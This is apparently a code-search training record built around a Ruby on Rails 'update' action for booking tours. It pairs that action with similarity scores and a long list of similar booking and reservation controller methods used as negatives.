Booking.new(booking_params)\n @booking.agent = current_user\n\n @booking.number_of_adults = 0 if params[:booking][:number_of_adults].blank?\n @booking.number_of_children = 0 if params[:booking][:number_of_children].blank?\n # 直客报名\n #@booking.sale = Account.find_by_id(GLOBAL[\"default_retail_sale_id\"]) if params[:booking][:sale_id].nil?\n @booking.sale_id = 1 if params[:booking][:sale_id].blank?\n @booking.progress = \"未处理\"\n @booking.confirmed_seats = 0\n respond_to do |format|\n if @booking.save\n # WexchatMailer.booking_notice(@booking.account)\n begin\n WexchatMailer.booking_notice_staff(@booking.agent, @booking.sale, @booking).deliver\n else \n end\n \n format.html { redirect_to bookings_path, notice: '预订成功' }\n format.js { render :status => :created, :location => @booking, :layout => false }\n else\n puts \">>>>>>>>>>>>>>>>>#{@booking.errors.full_messages}\"\n format.html { \n @sales = current_user.sales\n @price = @booking.price\n @tour = @booking.price.departure.tour\n render 'new', price_id: @booking.price_id\n }\n format.js { \n puts \"booking save error processing js\"\n render :status => :unprocessable_entity, :layout => false\n\n }\n end\n end\n end", "def create\n @venue = Venue.find(params[:venue_id])\n @tour = Tour.new(params[:tour])\n @tour.venue = @venue\n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to venue_path(@venue), notice: 'Tour was successfully created.' }\n format.json { render json: @tour, status: :created, location: @tour }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @room_booking = RoomBooking.new(room_booking_params)\n\n respond_to do |format|\n if @room_booking.save\n format.html { redirect_to @room_booking, notice: 'Room booking was successfully created.' }\n format.json { render :show, status: :created, location: @room_booking }\n else\n format.html { render :new }\n format.json { render json: @room_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tourney_set = TourneySet.new(tourney_set_params)\n\n respond_to do |format|\n if @tourney_set.save\n format.html { redirect_to @tourney_set, notice: 'Tourney set was successfully created.' }\n format.json { render :show, status: :created, location: @tourney_set }\n else\n format.html { render :new }\n format.json { render json: @tourney_set.errors, status: :unprocessable_entity }\n end\n end\n end", "def booking_params\n params.require(:booking)\n .permit(:user_id, :hotel_id, :room_id, :check_in_date, :check_out_date, :stay_description)\n end", "def booking_params\n \n params.require(:booking).permit(:start_time, :end_time, :date)\n end", "def create\n @arrival = Arrival.new(params[:arrival])\n\n respond_to do |format|\n if @arrival.save\n format.html { redirect_to @arrival, notice: 'Arrival was successfully created.' }\n format.json { render json: @arrival, status: :created, location: @arrival }\n else\n format.html { render action: \"new\" }\n format.json { render json: @arrival.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6974891", "0.66250515", "0.6562384", "0.64401764", "0.640652", "0.6373631", "0.63238", "0.63194263", "0.63194263", "0.6314086", "0.6229027", "0.6221234", "0.621979", "0.621599", "0.6206846", "0.6179224", "0.6176186", "0.6169112", "0.6138127", "0.6131413", "0.6129685", "0.61244124", "0.61077076", "0.6088697", "0.6074901", "0.605075", "0.6047748", "0.6035104", "0.60276693", "0.602762", "0.6015614", "0.5990539", "0.59802896", "0.5976842", "0.5974866", "0.59479004", "0.593338", "0.59272677", "0.59257686", "0.59253126", "0.59210306", "0.5916901", "0.590579", "0.5888529", "0.5874177", "0.5872308", "0.5871919", "0.58602", "0.58601105", "0.58538157", "0.58510995", "0.58397555", "0.58376163", "0.5832709", "0.58293337", "0.5828918", "0.58195907", "0.58173436", "0.580093", "0.5788013", "0.5785071", "0.57826775", "0.57816243", "0.57726806", "0.57726514", "0.5771795", "0.5769268", "0.57667416", "0.5764507", "0.57579935", "0.57576966", "0.5754371", "0.5740267", "0.5735559", "0.5734276", "0.5727827", "0.5727664", "0.5726641", "0.5717941", "0.5717197", "0.57133394", "0.57124484", "0.570378", "0.5693467", "0.5692873", "0.5692669", "0.5691929", "0.56907153", "0.5688637", "0.5683042", "0.5679755", "0.5676917", "0.5672703", "0.5669908", "0.56696177", "0.5668091", "0.5664467", "0.5663396", "0.5659715", "0.565671" ]
0.6111078
22
PATCH/PUT /booking_tours/1 PATCH/PUT /booking_tours/1.json
def update @booking_tour.total_cost = @booking_tour.number_of_people.to_i*@tour.price.to_i respond_to do |format| if @booking_tour.update(booking_tour_params) format.html { redirect_to @booking_tour, notice: 'Booking tour was successfully updated.' } format.json { render :show, status: :ok, location: @booking_tour } else format.html { render :edit } format.json { render json: @booking_tour.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @tour.update(tour_params)\n booking = Booking.find_by(tour_id: @tour.id)\n booking.fill_available_seats unless booking.nil?\n format.html { redirect_to @tour, notice: 'Tour was successfully updated.' }\n format.json { render :show, status: :ok, location: @tour }\n else\n format.html { render :edit }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tour_booking.update(tour_booking_params)\n format.html { redirect_to @tour_booking, notice: 'Tour booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @tour_booking }\n else\n format.html { render :edit }\n format.json { render json: @tour_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n booking = Booking.find(params[:id])\n \n # Check if user is the owner of the booking\n if current_user[:id] == booking[:user_id]\n if booking.update_attributes(booking_params) \n render json: { status: 'SUCCESS', message: 'Updated booking', data: booking }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Booking not updated', data: booking.errors }, status: :unprocessable_entity\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_back(fallback_location: salons_path) }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n @booking.update_attributes(params[:booking])\n respond_with(@booking)\n end", "def update\n respond_to do |format|\n if @ninety_ten_booking.update(ninety_ten_booking_params)\n format.html { redirect_to @ninety_ten_booking, notice: 'Ninety ten booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @ninety_ten_booking }\n else\n format.html { render :edit }\n format.json { render json: @ninety_ten_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n\n if @booking.update(booking_params)\n head :no_content\n else\n render json: @booking.errors, status: :unprocessable_entity\n end\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors.messages, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to current_user, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er blevet opdateret.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to hairdresser_booking_path(@hairdresser, @booking), notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params.except(:mode_of_booking))\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: \"Booking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: \"Booking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to show_booking_path, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to bookings_path, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cancelbooking = Cancelbooking.find(params[:id])\n\n respond_to do |format|\n if @cancelbooking.update_attributes(params[:cancelbooking])\n format.html { redirect_to @cancelbooking, notice: 'Cancelbooking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cancelbooking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params_update)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to bookings_url, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking.update(booking_params)\n redirect_to booking_path(@booking.boat)\n end", "def update\n respond_to do |format|\n if @seat_booking.update(seat_booking_params)\n format.html { redirect_to @seat_booking, notice: 'Seat booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @seat_booking }\n else\n format.html { render :edit }\n format.json { render json: @seat_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking.update_attributes(booking_params)\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to profile_bookings_url(@profile), notice: 'Booking was successfully updated.' }\n format.json { render :index, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n flash[:success] = \"Booking Updated Successful\"\n format.html { redirect_to @booking}\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking_detail.update(booking_detail_params)\n format.html { redirect_to @booking_detail, notice: 'Booking detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking_detail }\n else\n format.html { render :edit }\n format.json { render json: @booking_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to portal_booking_url(@booking), notice: 'booking room was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end", "def update\n if params[:schedule]\n params[:schedule][:bookings] = Bookings.find(params[:schedule][:bookings])\n else\n params[:schedule] = {}\n params[:schedule][:bookings] = @schedule.bookings\n params[:schedule][:bookings] << Booking.find(params[:add_bookings]) if params[:add_bookings]\n params[:schedule][:bookings].reject! { |e| params[:remove_bookings].include? e.id.to_s } if params[:remove_bookings]\n params[:schedule][:bookings] = params[:schedule][:bookings].flatten\n end\n respond_to do |format|\n if @schedule.update_attributes(params[:schedule])\n format.html { redirect_to @schedule, notice: 'Schedule was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @schedule.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking.department_id = params[:data]['department_id']\n @booking.timeStamp = params[:data]['timeStamp']\n @booking.doctorsBoard = params[:data]['doctorsBoard']\n @booking.description = params[:data]['description']\n\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking_clerk.update(booking_clerk_params)\n format.html { redirect_to @booking_clerk, notice: 'Booking clerk was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking_clerk }\n else\n format.html { render :edit }\n format.json { render json: @booking_clerk.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking_info.update(booking_info_params)\n format.html { redirect_to @booking_info, notice: 'Booking info was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking_info }\n else\n format.html { render :edit }\n format.json { render json: @booking_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tablebooking.update(tablebooking_params)\n format.html { redirect_to @tablebooking, notice: 'Tablebooking was successfully updated.' }\n format.json { render :show, status: :ok, location: @tablebooking }\n else\n format.html { render :edit }\n format.json { render json: @tablebooking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n if params[ :cancel ]\n flash[ :notice ] = \"Booking edit cancelled\"\n redirect_to bookings_url( :page => params[ :source_page ] )\n else\n \n @booking = Booking.find( params[ :id ] )\n \n respond_to do |format|\n if @booking.update_attributes( params[ :booking ] )\n format.html {\n flash[ :notice ] = @booking.despatched? ? \"Booking despatched\" : \"Booking updated\"\n redirect_to bookings_url( :page => params[ :source_page ] )\n }\n format.xml { render :nothing => true }\n else\n format.html { render :action => @booking.despatched? ? \"despatch\" : \"edit\" }\n format.xml { render :xml => @booking.errors.to_xml }\n end\n end\n \n end\n \n end", "def update\n respond_to do |format|\n if @taxi_booking.update_attributes(params[:taxi_booking])\n store_trip_in_session(@taxi_booking.trip_id)\n\n format.html { redirect_to @taxi_booking, notice: 'Taxi booking was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @taxi_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bookalawn.update(bookalawn_params)\n format.html { redirect_to @bookalawn, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bookalawn.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n logger.debug \"The object is #{@tblbooking.tbl_schedules_id}\"\n if [email protected]_schedules_id.nil?\n @oldschedule = TblSchedule.find(@tblbooking.tbl_schedules_id)\n end\n\n if @tblbooking.update(tblbooking_params)\n\n logger.debug \"After is #{@tblbooking.tbl_schedules_id}\"\n if [email protected]?\n @oldschedule.isTaken = false\n @oldschedule.save\n end\n\n @schedule = TblSchedule.find(@tblbooking.tbl_schedules_id)\n @schedule.isTaken = true\n @schedule.save\n\n @tblbooking.dateTime = @schedule.dateTime\n @tblbooking.tbl_users_id = @schedule.tbl_users_id\n @tblbooking.save\n\n format.html { redirect_to @tblbooking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @tblbooking }\n else\n format.html { render :edit }\n format.json { render json: @tblbooking.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_api_v1_booking\n @api_v1_booking = Booking.find(params[:id])\n end", "def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n flash[:notice] = 'Booking was successfully updated.'\n format.html { redirect_to(@booking) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n flash[:notice] = 'Booking was successfully updated.'\n format.html { redirect_to property_room_bookings_url(@property, @room) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @temp = set_booking\n\n @temp[:start_date] = DateTime.new(booking_params[\"start_date(1i)\"].to_i,\n booking_params[\"start_date(2i)\"].to_i,\n booking_params[\"start_date(3i)\"].to_i)\n @temp[:end_date] = DateTime.new(booking_params[\"end_date(1i)\"].to_i,\n booking_params[\"end_date(2i)\"].to_i,\n booking_params[\"end_date(3i)\"].to_i)\n @temp[:updated_at] = DateTime.now\n respond_to do |format|\n if cur_customer_id != @temp.customer_id:\n # Prevent illegal update others' listings\n format.html { redirect_to listings_index_path, notice: 'Unauthorized Edit Operation was banned.' }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n elsif Booking.validate(booking_params) and Booking.time_checking(@temp) and @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @booking.dataconfirm.to_s.blank?\n @booking.dataconfirm = DateTime.now\n end\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: \"Booking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @online_booking.update(online_booking_params)\n format.html { redirect_to @online_booking, notice: 'Online booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @online_booking }\n else\n format.html { render :edit }\n format.json { render json: @online_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @fg_booking.update(fg_booking_params)\n format.html { redirect_to getting_started_welcome_path, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @fg_booking }\n else\n format.html { render :edit }\n format.json { render json: @fg_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking_status.update(booking_status_params)\n format.html { redirect_to @booking_status, notice: 'Booking status was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking_status }\n else\n format.html { render :edit }\n format.json { render json: @booking_status.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking = Booking.find_by(id: params[:id])\n @booking.update(acceptance: true)\n UserMailer.confirm_email(@booking).deliver_now\n redirect_to job_bookings_path(params[:job_id]), notice: 'Application was successfully updated.' \n # respond_to do |format|\n # if @booking.update(booking_params)\n # format.html { redirect_to @booking, notice: 'Application was successfully updated.' }\n # format.json { render :show, status: :ok, location: @booking }\n # else\n # format.html { render :edit }\n # format.json { render json: @booking.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def update\n respond_to do |format|\n if @room_booking.update(room_booking_params)\n format.html { redirect_to @room_booking, notice: 'Room booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @room_booking }\n else\n format.html { render :edit }\n format.json { render json: @room_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking.update_attributes(booking_params)\n @contact.update_attributes(contact_params)\n @person.update_attributes(person_params)\n\n respond_to do |format|\n if @booking.save\n format.html do\n redirect_to @booking,\n notice: t('activerecord.successful.messages.updated',\n model: Booking.model_name.human)\n end\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @fbooking.update(fbooking_params)\n format.html { redirect_to @fbooking, notice: \"Fbooking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @fbooking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @fbooking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @course_booking.update(course_booking_params)\n format.html { redirect_to @course_booking, notice: 'Course booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_booking }\n else\n format.html { render :edit }\n format.json { render json: @course_booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @booking.cut = params[:booking][:cut]\n @booking.wash = params[:booking][:wash]\n @booking.colour = params[:booking][:colour]\n updated_information = {\n \"cut\" => @booking.cut,\n \"wash\" => @booking.wash,\n \"colour\" => @booking.colour\n }\n respond_to do |format|\n if @booking.update(updated_information)\n format.html { redirect_to @booking, notice: 'booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @rental.update(rental_params)\n format.html do\n redirect_to car_rentals_path(@car)\n flash[:success] = 'Booking was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @rental }\n else\n format.html { render :edit }\n format.json { render json: @rental.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @reservation = Reservation.find(params[:id])\n @reservation.user_id = current_user.id\n\n respond_to do |format|\n if @reservation.update_attributes(params[:reservation])\n \n UserMailer.booking_update(current_user, @reservation).deliver\n OwnerMailer.booking_update(@reservation).deliver\n\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n redirect_if_not_logged_in\n\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bride.update(bride_params)\n format.html { redirect_to @bride, notice: 'Bride was successfully updated.' }\n format.json { render :show, status: :ok, location: @bride }\n else\n format.html { render :edit }\n format.json { render json: @bride.errors, status: :unprocessable_entity }\n end\n end\n end", "def activo_update\n respond_to do |format|\n activo = params[:laboratorio][:activo]\n id = params[:id]\n Laboratorio.where(id: id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end", "def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n \n format.json { render json: @book, status: :created, location: @book }\n else\n \n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @booking_history.update(booking_history_params)\n format.html { redirect_to @booking_history, notice: 'Booking history was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking_history }\n else\n format.html { render :edit }\n format.json { render json: @booking_history.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @booking.update(booking_params)\n redirect_to bookings_url, notice: 'Booking was successfully updated.'\n else\n render :edit\n end\n end", "def update\n travel = Travel.find(params[:id])\n if travel.update(travel_params)\n render json: travel, status: 200\n else\n render json: travel.errors, status: 422\n end\n end", "def update\n current_seat_count = @booking.no_of_seats\n requested_seat_count = booking_params[:no_of_seats].to_i\n\n @tour = Tour.find(@booking.tour_id)\n \n respond_to do |format|\n if requested_seat_count > current_seat_count\n @booking.errors.add(:no_of_seats, \"You can only reduce your ticket count. You have \" + current_seat_count.to_s + \" seats currently.\")\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n elsif requested_seat_count == 0\n @booking.errors.add(:no_of_seats, \"If you want to have 0 seats, please cancel the reservation.\")\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n elsif 